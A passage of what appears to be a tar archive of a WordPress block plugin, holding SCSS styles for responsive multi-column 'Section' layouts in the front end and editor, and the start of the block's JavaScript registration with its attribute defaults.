			}
		}

		&.hide-in-desktop {
			display: none;
		}

		&.has-1-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 100%;
					}
				}
			}
		}

		&.has-2-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 50%;
					}
				}
			}

			&.has-desktop-oneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 33.34%;
	
						&:last-child {
							flex-basis: 66.66%;
						}
					}
				}
			}

			&.has-desktop-twoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 33.34%;
			
						&:first-child {
							flex-basis: 66.66%;
						}
					}
				}
			}
		}

		&.has-3-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 33.33%;
					}
				}
			}

			&.has-desktop-oneOneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 25%;
			
						&:last-child {
							flex-basis: 50%;
						}
					}
				}
			}

			&.has-desktop-twoOneOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 25%;
			
						&:first-child {
							flex-basis: 50%;
						}
					}
				}
			}

			&.has-desktop-oneTwoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 50%;
			
						&:first-child {
							flex-basis: 25%;
						}

						&:last-child {
							flex-basis: 25%;
						}
					}
				}
			}

			&.has-desktop-oneThreeOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 60%;
		
						&:first-child {
							flex-basis: 20%;
						}
		
						&:last-child {
							flex-basis: 20%;
						}
					}
				}
			}
		}

		&.has-4-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 25%;
					}
				}
			}
		}

		&.has-5-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 20%;
					}
				}
			}
		}

		&.has-6-columns {

			&.has-desktop-equal-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex-basis: 16.66%;
					}
				}
			}
		}
	}
}

@media ( min-width: 600px ) and ( max-width: 960px )  {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		position: relative;

		.innerblocks-wrap {
			display: flex;
			flex-basis: 100%;
			word-break: keep-all;

			.wp-block-themeisle-blocks-advanced-column {
				position: relative;
				flex: 1;
			}
		}

		&.hide-in-tablet {
			display: none;
		}

		&.has-2-columns {

			&.has-tablet-oneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {

						&:last-child {
							flex: 2;
						}
					}
				}
			}

			&.has-tablet-twoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:first-child {
							flex: 2;
						}
					}
				}
			}
		}

		&.has-3-columns {

			&.has-tablet-oneOneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:last-child {
							flex: 2;
						}
					}
				}
			}

			&.has-tablet-twoOneOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:first-child {
							flex: 2;
						}
					}
				}
			}

			&.has-tablet-oneTwoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex: 2;
			
						&:first-child {
							flex: 1;
						}

						&:last-child {
							flex: 1;
						}
					}
				}
			}

			&.has-tablet-oneThreeOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex: 3;
			
						&:first-child {
							flex: 1;
						}

						&:last-child {
							flex: 1;
						}
					}
				}
			}
		}

		&.has-tablet-collapsedRows-layout {
			> .innerblocks-wrap {
				flex-direction: column;
			}
		}

		&.has-tablet-twoColumnGrid-layout {
			> .innerblocks-wrap {
				display: flex;
				flex-wrap: wrap;

				> .wp-block-themeisle-blocks-advanced-column {
					flex: 1 1 40%;
				}
			}
		}

		&.has-tablet-threeColumnGrid-layout {
			> .innerblocks-wrap {
				display: flex;
				flex-wrap: wrap;

				> .wp-block-themeisle-blocks-advanced-column {
					flex: 1 1 30%;
				}
			}
		}
	}
}

@media ( max-width: 600px )  {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		position: relative;

		.innerblocks-wrap {
			display: flex;
			flex-basis: 100%;
			word-break: keep-all;

			.wp-block-themeisle-blocks-advanced-column {
				position: relative;
				flex: 1;
			}
		}

		&.hide-in-mobile {
			display: none;
		}

		&.has-2-columns {

			&.has-mobile-oneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {

						&:last-child {
							flex: 2;
						}
					}
				}
			}

			&.has-mobile-twoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:first-child {
							flex: 2;
						}
					}
				}
			}
		}

		&.has-3-columns {

			&.has-mobile-oneOneTwo-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:last-child {
							flex: 2;
						}
					}
				}
			}

			&.has-mobile-twoOneOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
			
						&:first-child {
							flex: 2;
						}
					}
				}
			}

			&.has-mobile-oneTwoOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex: 2;
			
						&:first-child {
							flex: 1;
						}

						&:last-child {
							flex: 1;
						}
					}
				}
			}

			&.has-mobile-oneThreeOne-layout {

				> .innerblocks-wrap {
					> .wp-block-themeisle-blocks-advanced-column {
						flex: 3;
			
						&:first-child {
							flex: 1;
						}

						&:last-child {
							flex: 1;
						}
					}
				}
			}
		}

		&.has-mobile-collapsedRows-layout {
			> .innerblocks-wrap {
				flex-direction: column;
			}
		}

		&.has-mobile-twoColumnGrid-layout {
			> .innerblocks-wrap {
				display: flex;
				flex-wrap: wrap;

				> .wp-block-themeisle-blocks-advanced-column {
					flex: 1 1 40%;
				}
			}
		}

		&.has-mobile-threeColumnGrid-layout {
			> .innerblocks-wrap {
				display: flex;
				flex-wrap: wrap;

				> .wp-block-themeisle-blocks-advanced-column {
					flex: 1 1 30%;
				}
			}
		}
	}
}section/editor.scss000066600000040152151151722010010374 0ustar00.wp-block-themeisle-blocks-advanced-columns {

	.wp-themeisle-block-overlay {
		position: absolute;
		width: 100%;
		height: 100%;
		top: 0;
		left: 0;
	}

	&.has-default-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 10px;
		}
	}

	&.has-nogap-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 0;
		}
	}

	&.has-narrow-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 5px;
		}
	}

	&.has-extended-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 15px;
		}
	}

	&.has-wide-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 20px;
		}
	}

	&.has-wider-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 30px;
		}
	}
}

@media ( min-width: 960px ) {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		flex-direction: column;
		position: relative;
	
		> .innerblocks-wrap {
			flex-basis: 100%;
			width: 100%;
			word-break: keep-all;

			> .editor-inner-blocks > .editor-block-list__layout {
				display: flex;
				flex-basis: 100%;

				.editor-block-list__block {
					max-width: unset;
				}
		
				> [data-type="themeisle-blocks/advanced-column"] {
					display: flex;
					flex-direction: column;
					// flex: 1;
					width: 0;
		
					.editor-block-list__block-edit {
						margin-top: 12px;
						flex-basis: 100%;
					}
				}
			}
		}

		&.has-1-columns {

			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 100%;
				}
			}
		}

		&.has-2-columns {

			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 50%;
				}
			}
	
			&.has-desktop-oneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					&:first-child {
						flex-basis: 33.34%;
					}

					&:last-child {
						flex-basis: 66.66%;
					}
				}
			}
	
			&.has-desktop-twoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					&:first-child {
						flex-basis: 66.66%;
					}

					&:last-child {
						flex-basis: 33.34%;
					}
				}
			}
		}
	
		&.has-3-columns {
	
			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 33.33%;
				}
			}

			&.has-desktop-oneOneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 25%;

					&:last-child {
						flex-basis: 50%;
					}
				}
			}
	
			&.has-desktop-twoOneOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 25%;

					&:first-child {
						flex-basis: 50%;
					}
				}
			}
	
			&.has-desktop-oneTwoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 50%;
		
					&:first-child {
						flex-basis: 25%;
					}
	
					&:last-child {
						flex-basis: 25%;
					}
				}
			}
	
			&.has-desktop-oneThreeOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 60%;
		
					&:first-child {
						flex-basis: 20%;
					}
	
					&:last-child {
						flex-basis: 20%;
					}
				}
			}
		}
	
		&.has-4-columns {
	
			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 25%;
				}
			}
		}
	
		&.has-5-columns {
	
			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 20%;
				}
			}
		}
	
		&.has-6-columns {
	
			&.has-desktop-equal-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex-basis: 16.66%;
				}
			}
		}
	}

	[data-type="themeisle-blocks/advanced-columns"] {

		&.is-selected {
			&:hover,
			&:focus {
				> .editor-block-list__block-edit {
					.wp-themeisle-block-advanced-column-resize-container {
						> span > .components-resizable-box__handle {
							display: block;
						}
					}
				}
			}
		}

		&:focus-within {
			> .editor-block-list__block-edit {
				.wp-themeisle-block-advanced-column-resize-container {
					> span > .components-resizable-box__handle {
						display: block;
					}
				}
			}
		}
	}
}

@media ( min-width: 600px ) and ( max-width: 960px )  {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		flex-direction: column;

		> .innerblocks-wrap {
			flex-basis: 100%;
			width: 100%;
			word-break: keep-all;

			> .editor-inner-blocks > .editor-block-list__layout {
				display: flex;

				.editor-block-list__block {
					max-width: unset;
				}
		
				> [data-type="themeisle-blocks/advanced-column"] {
					display: flex;
					flex-direction: column;
					flex: 1;
					width: auto;
		
					.editor-block-list__block-edit {
						margin-top: 12px;
						flex-basis: 100%;
					}
				}
			}
		}

		&.has-2-columns {
	
			&.has-tablet-oneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
	
					&:last-child {
						flex: 2;
					}
				}
			}
	
			&.has-tablet-twoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:first-child {
						flex: 2;
					}
				}
			}
		}
	
		&.has-3-columns {
	
			&.has-tablet-oneOneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:last-child {
						flex: 2;
					}
				}
			}
	
			&.has-tablet-twoOneOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:first-child {
						flex: 2;
					}
				}
			}
	
			&.has-tablet-oneTwoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex: 2;
		
					&:first-child {
						flex: 1;
					}
	
					&:last-child {
						flex: 1;
					}
				}
			}
	
			&.has-tablet-oneThreeOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex: 3;
		
					&:first-child {
						flex: 1;
					}
	
					&:last-child {
						flex: 1;
					}
				}
			}
		}

		&.has-tablet-collapsedRows-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: block;
			}
		}

		&.has-tablet-twoColumnGrid-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: flex;
				flex-wrap: wrap;

				> [data-type="themeisle-blocks/advanced-column"] {
					flex: 1 1 50%;
				}
			}
		}

		&.has-tablet-threeColumnGrid-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: flex;
				flex-wrap: wrap;

				> [data-type="themeisle-blocks/advanced-column"] {
					flex: 1 1 33%;
				}
			}
		}
	}
}

@media ( min-width: 320px ) and ( max-width: 600px )  {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		flex-direction: column;

		> .innerblocks-wrap {
			flex-basis: 100%;
			width: 100%;
			word-break: keep-all;

			> .editor-inner-blocks > .editor-block-list__layout {
				display: flex;

				.editor-block-list__block {
					max-width: unset;
				}
		
				> [data-type="themeisle-blocks/advanced-column"] {
					display: flex;
					flex-direction: column;
					flex: 1;
					width: auto;
		
					.editor-block-list__block-edit {
						margin-top: 12px;
						flex-basis: 100%;
					}
				}
			}
		}

		&.has-2-columns {
	
			&.has-mobile-oneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
	
					&:last-child {
						flex: 2;
					}
				}
			}
	
			&.has-mobile-twoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:first-child {
						flex: 2;
					}
				}
			}
		}
	
		&.has-3-columns {
	
			&.has-mobile-oneOneTwo-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:last-child {
						flex: 2;
					}
				}
			}
	
			&.has-mobile-twoOneOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
		
					&:first-child {
						flex: 2;
					}
				}
			}
	
			&.has-mobile-oneTwoOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex: 2;
		
					&:first-child {
						flex: 1;
					}
	
					&:last-child {
						flex: 1;
					}
				}
			}
	
			&.has-mobile-oneThreeOne-layout {
	
				> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout > [data-type="themeisle-blocks/advanced-column"] {
					flex: 3;
		
					&:first-child {
						flex: 1;
					}
	
					&:last-child {
						flex: 1;
					}
				}
			}
		}

		&.has-mobile-collapsedRows-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: block;
			}
		}

		&.has-mobile-twoColumnGrid-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: flex;
				flex-wrap: wrap;

				> [data-type="themeisle-blocks/advanced-column"] {
					flex: 1 1 50%;
				}
			}
		}

		&.has-mobile-threeColumnGrid-layout {
			> .innerblocks-wrap > .editor-inner-blocks > .editor-block-list__layout {
				display: flex;
				flex-wrap: wrap;

				> [data-type="themeisle-blocks/advanced-column"] {
					flex: 1 1 33%;
				}
			}
		}
	}
}

.editor-block-list__block {
	&[data-type="themeisle-blocks/advanced-columns"] {
		&:not(.is-selected) {
			> .editor-block-list__block-edit {
				&:before {
					outline: 2px dashed #d5dadf;
				}
			}
		}
	}
}

[data-type="themeisle-blocks/advanced-columns"] {

	.wp-themeisle-block-advanced-columns-padding-container {
		width: 100% !important;

		.block-space-size {
			opacity: 0;
			background: rgba(61,191,232,.15);
			display: flex;
			justify-content: center;
			align-items: center;
			height: 100%;
			transition: all ease-in 0.2s;

			span {
				color: #2ea9d0;
			}
		}

		&:hover {
			.block-space-size {
				opacity: 1;
			}
		}

		.components-resizable-box__handle {
			position: relative;
			display: block;
			width: 100%;
			height: 100%;
			top: 0;
			left: 0;
			z-index: 9;

			&:before {
				display: none;
			}
		}

		.components-resizable-box__handle-top {
			display: block;
			width: 100%;
			height: 100%;
			z-index: 9;
			border-radius: 0;
			border: 0;
			min-height: 20px;
			position: absolute;
			background: transparent;
			padding: 0;
			cursor: row-resize;
			left: 0px;
			margin-left: 0px;
	
			&:before {
				display: none;
			}
	
			&:after {
				display: none;
			}
		}
	
		.components-resizable-box__handle-bottom {
			display: block;
			width: 100%;
			height: 100%;
			z-index: 9;
			bottom: 0;
			left: 0;
			border-radius: 0;
			border: 0;
			min-height: 20px;
			position: absolute;
			background: transparent;
			padding: 0;
			cursor: row-resize;
			left: 0px;
			margin-left: 0px;
	
			&:before {
				display: none;
			}
	
			&:after {
				display: none;
			}
		}
	}
}


	
[data-type="themeisle-blocks/advanced-column"] {
	
	.wp-themeisle-block-advanced-column-resize-container {
		width: 100% !important;

		> span  > .components-resizable-box__handle-right {
			background: transparent;
			display: none;
			width: 2px;
			height: 100%;
			top: 0;
			right: -15.5px;
			padding: 0;
			z-index: 999;

			&:hover {
				background: #0085ba;
			}

			&:before {
				display: none;
			}

			&:after {
				display: block;
				content: "";
				width: 15px;
				height: 15px;
				border: 2px solid #fff;
				border-radius: 50%;
				background: #0085ba;
				cursor: inherit;
				position: absolute;
				top: calc(50% - 8px);
				right: calc(50% - 8px);
			}

			.resizable-tooltip {
				position: absolute;
				top: 50%;
				color: #fff;
				font-size: 10px;
				font-family: "Libre Franklin", "Helvetica Neue", helvetica, arial, sans-serif;
				background-color: #0085ba;
				width: 50px;
				height: 20px;
				padding: 3.5px 0;
				text-align: center;
				z-index: 1;
				line-height: 1;

				&:after {
					border: 10px solid transparent;
					content: "";
					position: absolute;
					width: 0;
					height: 0;
					top: 0;
				}
			}

			.resizable-tooltip-left {
				right: 0;
				transform: translateY(-50%);
				margin-right: 20px;

				&:after {
					left: 100%;
					border-left-color: #0085ba;
					border-right-width: 0;
				}
			}

			.resizable-tooltip-right {
				transform: translateY(-50%);
				margin-left: 20px;

				&:after {
					right: 100%;
					border-right-color: #0085ba;
					border-left-width: 0;
				}
			}
		}
	}
}

.wp-block-themeisle-blocks-advanced-columns-header-panel {
	&.is-opened {
		padding: 0;
	}

	.header-tab {
		display: inline-block;
		width: calc( 100% / 3 );
		padding: 10px 20px;
		text-align: center;
		cursor: pointer;

		&.is-selected {
			border-bottom: 2px solid #0085ba;
			background: #f3f4f5;
		}

		&:hover {
			background: #f3f4f5;
		}

		span {
			display: inline-block;
			font-size: 12px;

			svg {
				display: block;
				margin: 0 auto;
			}
		}
	}
}

.wp-block-themeisle-image-container {
	.image-body {
		padding: 5px;
		border: 1px solid #e2e4e7;
	
		.image-container {
			width: 100%;
			height: 150px;
			position: relative;
	
			.image-holder {
				width: auto;
				height: 100%;
				background-size: cover;
			}
		
			.image-delete {
				position: absolute;
				bottom: 0;
				left: 0;
				right: 0;
				text-align: center;
				color: #fff;
				background-color: #00000080;
				transition: all .2s ease-in-out;
				box-shadow: 0 0 3px 3px rgba(0,0,0,.1);
				height: 100%;
				flex-wrap: wrap;
				display: flex;
				align-items: center;
				justify-content: center;
				font-size: 18px;
				opacity: 0;
				cursor: pointer;
			}
		
			&:hover {
				.image-delete {
					opacity: 1;
				}
			}
		}
	}

	.image-delete-button {
		margin: 10px 0 15px;
	}
}

.wp-block-themeisle-border-container {
	&.components-panel__body {
		> .components-toggle-control {
			margin: 1.5em 0 0 0;

			.components-base-control__field {
				margin-bottom: 0;
			}
		}
	}
}

.wp-block-themeisle-shape-divider {
	.components-button-group {
		display: flex;
		margin: 0 0 1.5em 0;

		.components-button {
			flex: 1;
			justify-content: center;

			&:hover {
				background-color: #fff;
				color: #191e23;
				box-shadow: inset 0 0 0 1px #e2e4e7,inset 0 0 0 2px #fff,0 1px 1px rgba(25,30,35,.2);
			}

			&.is-primary {
				&:not(:disabled):not([aria-disabled="true"]):not(.is-default):hover {
					background: #007eb1;
					border-color: #00435d;
					box-shadow: inset 0 -1px 0 #00435d;
					color: #fff;
				}
			}
		}
	}
}

.block-editor__container {
	.components-popover {
		&.components-color-palette__picker {
			z-index: 9999999 !important;
		}
	}
}

.icon-buttom-group {
	display: flex;

	&.components-button-group {
		.components-button {
			flex: 1;
			justify-content: center;

			&.is-primary {
				&:not(:disabled):not([aria-disabled="true"]):not(.is-default):hover {
					background: #007eb1;
					border-color: #00435d;
					box-shadow: inset 0 -1px 0 #00435d;
					color: #fff;
				}
			}
		}

		.custom-icon {
			display: inline-block;
			flex: 0 0 auto;
			width: 20px;
			height: 20px;
		}
	}
}

.edit-post-settings-sidebar__panel-block .components-panel__body {
	.components-color-palette {
		display: inline-block;
	}
}

@media ( max-width: 782px )  {
	.wp-block-themeisle-image-container {
		.image-body {
			.image-container {
				height: 250px;
			}
		}
	}
}section/advanced-columns.js000066600000243442151151722010012001 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import hexToRgba from 'hex-rgba';

/**
 * WordPress dependencies
 */
const { times } = lodash;

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	BaseControl,
	Button,
	ButtonGroup,
	Dashicon,
	Icon,
	IconButton,
	PanelBody,
	Tooltip,
	ToggleControl,
	RangeControl,
	SelectControl,
	TextControl
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const {
	withDispatch,
	withSelect
} = wp.data;

const {
	ColorPalette,
	InnerBlocks,
	InspectorAdvancedControls,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const { Fragment } = wp.element;

const { withViewportMatch } = wp.viewport;

/**
 * Internal dependencies
 */
import {
	columnsIcon,
	topIcon,
	middleIcon,
	bottomIcon
} from '../../helpers/icons.js';

import layouts from './layouts.js';

import LayoutControl from './components/layout-control/index.js';

import SizingControl from '../../components/sizing-control/index.js';

import ResponsiveControl from '../../components/responsive-control/index.js';

import BackgroundControl from './components/background-control/index.js';

import ControlPanelControl from '../../components/control-panel-control/index.js';

import Separators from './components/separators/index.js';

import Onboarding from './components/onboarding/index.js';

import deprecated from './deprecated.js';

registerBlockType( 'themeisle-blocks/advanced-columns', {
	title: __( 'Section' ),
	description: __( 'Add a Section block that displays content in multiple columns, then add whatever content blocks you’d like.' ),
	icon: columnsIcon,
	category: 'themeisle-blocks',
	keywords: [
		'advanced columns',
		'layout',
		'grid'
	],
	attributes: {
		id: {
			type: 'string'
		},
		columns: {
			type: 'number'
		},
		layout: {
			type: 'string'
		},
		layoutTablet: {
			type: 'string',
			default: 'equal'
		},
		layoutMobile: {
			type: 'string',
			default: 'equal'
		},
		columnsGap: {
			type: 'string',
			default: 'default'
		},
		paddingType: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeTablet: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeMobile: {
			type: 'string',
			default: 'linked'
		},
		padding: {
			type: 'number',
			default: 20
		},
		paddingTablet: {
			type: 'number',
			default: 20
		},
		paddingMobile: {
			type: 'number',
			default: 20
		},
		paddingTop: {
			type: 'number',
			default: 20
		},
		paddingTopTablet: {
			type: 'number',
			default: 20
		},
		paddingTopMobile: {
			type: 'number',
			default: 20
		},
		paddingRight: {
			type: 'number',
			default: 20
		},
		paddingRightTablet: {
			type: 'number',
			default: 20
		},
		paddingRightMobile: {
			type: 'number',
			default: 20
		},
		paddingBottom: {
			type: 'number',
			default: 20
		},
		paddingBottomTablet: {
			type: 'number',
			default: 20
		},
		paddingBottomMobile: {
			type: 'number',
			default: 20
		},
		paddingLeft: {
			type: 'number',
			default: 20
		},
		paddingLeftTablet: {
			type: 'number',
			default: 20
		},
		paddingLeftMobile: {
			type: 'number',
			default: 20
		},
		marginType: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeTablet: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeMobile: {
			type: 'string',
			default: 'unlinked'
		},
		margin: {
			type: 'number',
			default: 20
		},
		marginTablet: {
			type: 'number',
			default: 20
		},
		marginMobile: {
			type: 'number',
			default: 20
		},
		marginTop: {
			type: 'number',
			default: 20
		},
		marginTopTablet: {
			type: 'number',
			default: 20
		},
		marginTopMobile: {
			type: 'number',
			default: 20
		},
		marginBottom: {
			type: 'number',
			default: 20
		},
		marginBottomTablet: {
			type: 'number',
			default: 20
		},
		marginBottomMobile: {
			type: 'number',
			default: 20
		},
		columnsWidth: {
			type: 'number'
		},
		horizontalAlign: {
			type: 'string',
			default: 'unset'
		},
		columnsHeight: {
			type: 'string',
			default: 'auto'
		},
		columnsHeightCustom: {
			type: 'number'
		},
		columnsHeightCustomTablet: {
			type: 'number'
		},
		columnsHeightCustomMobile: {
			type: 'number'
		},
		verticalAlign: {
			type: 'string',
			default: 'unset'
		},
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string'
		},
		backgroundImageID: {
			type: 'number'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundAttachment: {
			type: 'string',
			default: 'scroll'
		},
		backgroundPosition: {
			type: 'string',
			default: 'top left'
		},
		backgroundRepeat: {
			type: 'string',
			default: 'repeat'
		},
		backgroundSize: {
			type: 'string',
			default: 'auto'
		},
		backgroundGradientFirstColor: {
			type: 'string',
			default: '#36d1dc'
		},
		backgroundGradientFirstLocation: {
			type: 'number',
			default: 0
		},
		backgroundGradientSecondColor: {
			type: 'string',
			default: '#5b86e5'
		},
		backgroundGradientSecondLocation: {
			type: 'number',
			default: 100
		},
		backgroundGradientType: {
			type: 'string',
			default: 'linear'
		},
		backgroundGradientAngle: {
			type: 'number',
			default: 90
		},
		backgroundGradientPosition: {
			type: 'string',
			default: 'center center'
		},
		backgroundOverlayOpacity: {
			type: 'number',
			default: 50
		},
		backgroundOverlayType: {
			type: 'string',
			default: 'color'
		},
		backgroundOverlayColor: {
			type: 'string'
		},
		backgroundOverlayImageID: {
			type: 'number'
		},
		backgroundOverlayImageURL: {
			type: 'string'
		},
		backgroundOverlayAttachment: {
			type: 'string',
			default: 'scroll'
		},
		backgroundOverlayPosition: {
			type: 'string',
			default: 'top left'
		},
		backgroundOverlayRepeat: {
			type: 'string',
			default: 'repeat'
		},
		backgroundOverlaySize: {
			type: 'string',
			default: 'auto'
		},
		backgroundOverlayGradientFirstColor: {
			type: 'string',
			default: '#36d1dc'
		},
		backgroundOverlayGradientFirstLocation: {
			type: 'number',
			default: 0
		},
		backgroundOverlayGradientSecondColor: {
			type: 'string',
			default: '#5b86e5'
		},
		backgroundOverlayGradientSecondLocation: {
			type: 'number',
			default: 100
		},
		backgroundOverlayGradientType: {
			type: 'string',
			default: 'linear'
		},
		backgroundOverlayGradientAngle: {
			type: 'number',
			default: 90
		},
		backgroundOverlayGradientPosition: {
			type: 'string',
			default: 'center center'
		},
		backgroundOverlayFilterBlur: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterBrightness: {
			type: 'number',
			default: 10
		},
		backgroundOverlayFilterContrast: {
			type: 'number',
			default: 10
		},
		backgroundOverlayFilterGrayscale: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterHue: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterSaturate: {
			type: 'number',
			default: 10
		},
		backgroundOverlayBlend: {
			type: 'string',
			default: 'normal'
		},
		borderType: {
			type: 'string',
			default: 'linked'
		},
		border: {
			type: 'number',
			default: 0
		},
		borderTop: {
			type: 'number',
			default: 0
		},
		borderRight: {
			type: 'number',
			default: 0
		},
		borderBottom: {
			type: 'number',
			default: 0
		},
		borderLeft: {
			type: 'number',
			default: 0
		},
		borderColor: {
			type: 'string',
			default: '#000000'
		},
		borderRadiusType: {
			type: 'string',
			default: 'linked'
		},
		borderRadius: {
			type: 'number',
			default: 0
		},
		borderRadiusTop: {
			type: 'number',
			default: 0
		},
		borderRadiusRight: {
			type: 'number',
			default: 0
		},
		borderRadiusBottom: {
			type: 'number',
			default: 0
		},
		borderRadiusLeft: {
			type: 'number',
			default: 0
		},
		boxShadow: {
			type: 'boolean',
			default: false
		},
		boxShadowColor: {
			type: 'string',
			default: '#000000'
		},
		boxShadowColorOpacity: {
			type: 'number',
			default: 50
		},
		boxShadowBlur: {
			type: 'number',
			default: 5
		},
		boxShadowSpread: {
			type: 'number',
			default: 0
		},
		boxShadowHorizontal: {
			type: 'number',
			default: 0
		},
		boxShadowVertical: {
			type: 'number',
			default: 0
		},
		dividerTopType: {
			type: 'string',
